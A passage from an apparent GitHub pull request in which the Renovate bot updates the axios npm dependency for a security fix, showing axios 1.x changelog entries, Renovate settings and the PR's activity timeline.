  • Fixed broken exports for common js. This fix breaks a prior fix, I will fix both issues ASAP but the commonJS use is more impactful.
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

[1.1.0] - 2022-10-06

Fixed
  • Fixed missing exports in type definition index.d.ts #​5003
  • Fixed query params composing #​5018
  • Fixed GenericAbortSignal interface by making it more generic #​5021
  • Fixed adding "clear" to AxiosInterceptorManager #​5010
  • Fixed commonjs & umd exports #​5030
  • Fixed inability to access response headers when using axios 1.x with Jest #​5036
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

[1.0.0] - 2022-10-04

Added
  • Added stack trace to AxiosError #​4624
  • Add AxiosError to AxiosStatic #​4654
  • Replaced Rollup as our build runner #​4596
  • Added generic TS types for the exposed toFormData helper #​4668
  • Added listen callback function #​4096
  • Added instructions for installing using PNPM #​4207
  • Added generic AxiosAbortSignal TS interface to avoid importing AbortController polyfill #​4229
  • Added axios-url-template in ECOSYSTEM.md #​4238
  • Added a clear() function to the request and response interceptors object so a user can ensure that all interceptors have been removed from an axios instance #​4248
  • Added react hook plugin #​4319
  • Adding HTTP status code for transformResponse #​4580
  • Added blob to the list of protocols supported by the browser #​4678
  • Resolving proxy from env on redirect #​4436
  • Added enhanced toFormData implementation with additional options 4704
  • Adding Canceler parameters config and request #​4711
  • Added automatic payload serialization to application/x-www-form-urlencoded #​4714
  • Added the ability for webpack users to overwrite built-ins #​4715
  • Added string[] to AxiosRequestHeaders type #​4322
  • Added the ability for the url-encoded-form serializer to respect the formSerializer config #​4721
  • Added isCancel type assert #​4293
  • Added data URL support for node.js #​4725
  • Adding types for progress event callbacks #​4675
  • URL params serializer #​4734
  • Added axios.formToJSON method #​4735
  • Bower platform add data protocol #​4804
  • Use WHATWG URL API instead of url.parse() #​4852
  • Add ENUM containing Http Status Codes to typings #​4903
  • Improve typing of timeout in index.d.ts #​4934
Changed
  • Updated AxiosError.config to be optional in the type definition #​4665
  • Updated README emphasizing the URLSearchParam built-in interface over other solutions #​4590
  • Include request and config when creating a CanceledError instance #​4659
  • Changed func-names eslint rule to as-needed #​4492
  • Replacing deprecated substr() with slice() as substr() is deprecated #​4468
  • Updating HTTP links in README.md to use HTTPS #​4387

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Warsaw, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@blumilk-renovate blumilk-renovate bot requested a review from a team as a code owner September 12, 2025 10:22
@blumilk-renovate blumilk-renovate bot added dependencies Pull requests that update a dependency file renovate security labels Sep 12, 2025
@blumilk-renovate blumilk-renovate bot requested a review from Blusia September 12, 2025 10:22
@blumilk-renovate blumilk-renovate bot changed the title - Update dependency axios to v1.12.0 [SECURITY] - Update dependency axios to v1.12.0 [SECURITY] - autoclosed Sep 30, 2025
@blumilk-renovate blumilk-renovate bot closed this Sep 30, 2025
@blumilk-renovate blumilk-renovate bot deleted the renovate/npm-axios-vulnerability branch September 30, 2025 10:41
@blumilk-renovate blumilk-renovate bot changed the title - Update dependency axios to v1.12.0 [SECURITY] - autoclosed - Update dependency axios to v1.12.0 [SECURITY] Oct 1, 2025
@blumilk-renovate blumilk-renovate bot reopened this Oct 1, 2025
@blumilk-renovate blumilk-renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from dcbb669 to c7d73ce Compare October 3, 2025 11:05
@blumilk-renovate blumilk-renovate bot force-pushed the renovate/npm-axios-vulnerability branch from c7d73ce to 10b42fe Compare February 10, 2026 10:22
@blumilk-renovate blumilk-renovate bot changed the title - Update dependency axios to v1.12.0 [SECURITY] - Update dependency axios to v1.13.5 [SECURITY] Feb 10, 2026
@blumilk-renovate blumilk-renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 10b42fe to fa0a805 Compare February 19, 2026 10:25
@blumilk-renovate blumilk-renovate bot changed the title - Update dependency axios to v1.13.5 [SECURITY] - Update dependency axios to v1.12.0 [SECURITY] Feb 19, 2026
@blumilk-renovate blumilk-renovate bot force-pushed the renovate/npm-axios-vulnerability branch from fa0a805 to d20d678 Compare February 21, 2026 10:27
@blumilk-renovate blumilk-renovate bot changed the title - Update dependency axios to v1.12.0 [SECURITY] - Update dependency axios to v1.13.5 [SECURITY] Feb 21, 2026
@blumilk-renovate blumilk-renovate bot force-pushed the renovate/npm-axios-vulnerability branch from d20d678 to e1322ab Compare March 26, 2026 10:33
@blumilk-renovate blumilk-renovate bot force-pushed the renovate/npm-axios-vulnerability branch from e1322ab to 08b6181 Compare April 10, 2026 10:27
@blumilk-renovate blumilk-renovate bot changed the title - Update dependency axios to v1.13.5 [SECURITY] - Update dependency axios to v1.15.0 [SECURITY] Apr 10, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file renovate security

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants